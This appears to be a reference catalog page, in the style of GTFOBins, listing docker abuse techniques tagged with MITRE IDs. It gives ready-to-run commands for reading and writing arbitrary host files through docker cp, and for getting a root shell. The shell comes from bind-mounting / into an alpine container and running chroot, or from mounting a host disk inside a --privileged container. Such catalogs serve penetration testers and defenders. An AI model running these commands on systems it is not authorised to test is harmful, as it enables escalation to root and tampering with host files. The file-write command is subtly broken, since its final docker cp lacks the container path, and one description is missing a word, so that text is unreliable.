CatalogGTFOBins

GTFO · Tool

docker

12 techniquesLinuxGTFOBinsGPL-3.0

file-read

File ReadPrivilege EscalationLinux

Read a file by copying it to a temporary container (`$CONTAINER_ID`) and back to a new location on the host.

docker cp /path/to/input-file $CONTAINER_ID:input-file
docker cp $CONTAINER_ID:input-file /path/to/temp-file
cat /path/to/temp-file
Evidence
Upstream reference
Environment
Containers
Compatibility
Linux reference. macOS compatibility has not been checked for this command and execution context.
Context
sudo
Native
file-read
MITRE
T1005

file-read

File ReadPrivilege EscalationLinux

Read a file by copying it to a temporary container (`$CONTAINER_ID`) and back to a new location on the host.

docker cp /path/to/input-file $CONTAINER_ID:input-file
docker cp $CONTAINER_ID:input-file /path/to/temp-file
cat /path/to/temp-file
Evidence
Upstream reference
Environment
Containers
Compatibility
Linux reference. macOS compatibility has not been checked for this command and execution context.
Context
suid
Native
file-read
MITRE
T1005

file-read

File ReadLinux

Read a file by copying it to a temporary container (`$CONTAINER_ID`) and back to a new location on the host.

docker cp /path/to/input-file $CONTAINER_ID:input-file
docker cp $CONTAINER_ID:input-file /path/to/temp-file
cat /path/to/temp-file
Evidence
Upstream reference
Environment
Containers
Compatibility
Linux reference. macOS compatibility has not been checked for this command and execution context.
Context
unprivileged
Native
file-read
MITRE
T1005

file-write

File WritePrivilege EscalationLinux

Write a file by copying it to a temporary container (`$CONTAINER_ID`) and back to the target destination on the host.

echo DATA >/path/to/temp-file
docker cp /path/to/temp-file $CONTAINER_ID:temp-file
docker cp $CONTAINER_ID /path/to/output-file
Evidence
Upstream reference
Environment
Containers
Compatibility
Linux reference. macOS compatibility has not been checked for this command and execution context.
Context
sudo
Native
file-write
MITRE
T1565

file-write

File WritePrivilege EscalationLinux

Write a file by copying it to a temporary container (`$CONTAINER_ID`) and back to the target destination on the host.

echo DATA >/path/to/temp-file
docker cp /path/to/temp-file $CONTAINER_ID:temp-file
docker cp $CONTAINER_ID /path/to/output-file
Evidence
Upstream reference
Environment
Containers
Compatibility
Linux reference. macOS compatibility has not been checked for this command and execution context.
Context
suid
Native
file-write
MITRE
T1565

file-write

File WriteLinux

Write a file by copying it to a temporary container (`$CONTAINER_ID`) and back to the target destination on the host.

echo DATA >/path/to/temp-file
docker cp /path/to/temp-file $CONTAINER_ID:temp-file
docker cp $CONTAINER_ID /path/to/output-file
Evidence
Upstream reference
Environment
Containers
Compatibility
Linux reference. macOS compatibility has not been checked for this command and execution context.
Context
unprivileged
Native
file-write
MITRE
T1565

shell

ExecutionPrivilege EscalationLinux
docker run -v /:/mnt --rm -it alpine chroot /mnt /bin/sh
Evidence
Upstream reference
Environment
Containers
Compatibility
Linux reference. macOS compatibility has not been checked for this command and execution context.
Context
sudo
Native
shell
MITRE
T1059

shell

ExecutionPrivilege EscalationLinux
docker run -v /:/mnt --rm -it alpine chroot /mnt /bin/sh
Evidence
Upstream reference
Environment
Containers
Compatibility
Linux reference. macOS compatibility has not been checked for this command and execution context.
Context
suid
Native
shell
MITRE
T1059

shell

ExecutionLinux
docker run -v /:/mnt --rm -it alpine chroot /mnt /bin/sh
Evidence
Upstream reference
Environment
Containers
Compatibility
Linux reference. macOS compatibility has not been checked for this command and execution context.
Context
unprivileged
Native
shell
MITRE
T1059

shell

ExecutionPrivilege EscalationLinux

This exploits the fact that is run with the `--privileged` option to directly mount a host's disk, e.g., `/dev/sda1`.

docker run --rm -it --privileged -u root alpine
mount /dev/sda1 /mnt/
ls -la /mnt/
chroot /mnt /bin/bash
Evidence
Upstream reference
Environment
Containers
Compatibility
Linux reference. macOS compatibility has not been checked for this command and execution context.
Context
sudo
Native
shell
MITRE
T1059

shell

ExecutionPrivilege EscalationLinux

This exploits the fact that is run with the `--privileged` option to directly mount a host's disk, e.g., `/dev/sda1`.

docker run --rm -it --privileged -u root alpine
mount /dev/sda1 /mnt/
ls -la /mnt/
chroot /mnt /bin/bash
Evidence
Upstream reference
Environment
Containers
Compatibility
Linux reference. macOS compatibility has not been checked for this command and execution context.
Context
suid
Native
shell
MITRE
T1059

shell

ExecutionLinux

This exploits the fact that is run with the `--privileged` option to directly mount a host's disk, e.g., `/dev/sda1`.

docker run --rm -it --privileged -u root alpine
mount /dev/sda1 /mnt/
ls -la /mnt/
chroot /mnt /bin/bash
Evidence
Upstream reference
Environment
Containers
Compatibility
Linux reference. macOS compatibility has not been checked for this command and execution context.
Context
unprivileged
Native
shell
MITRE
T1059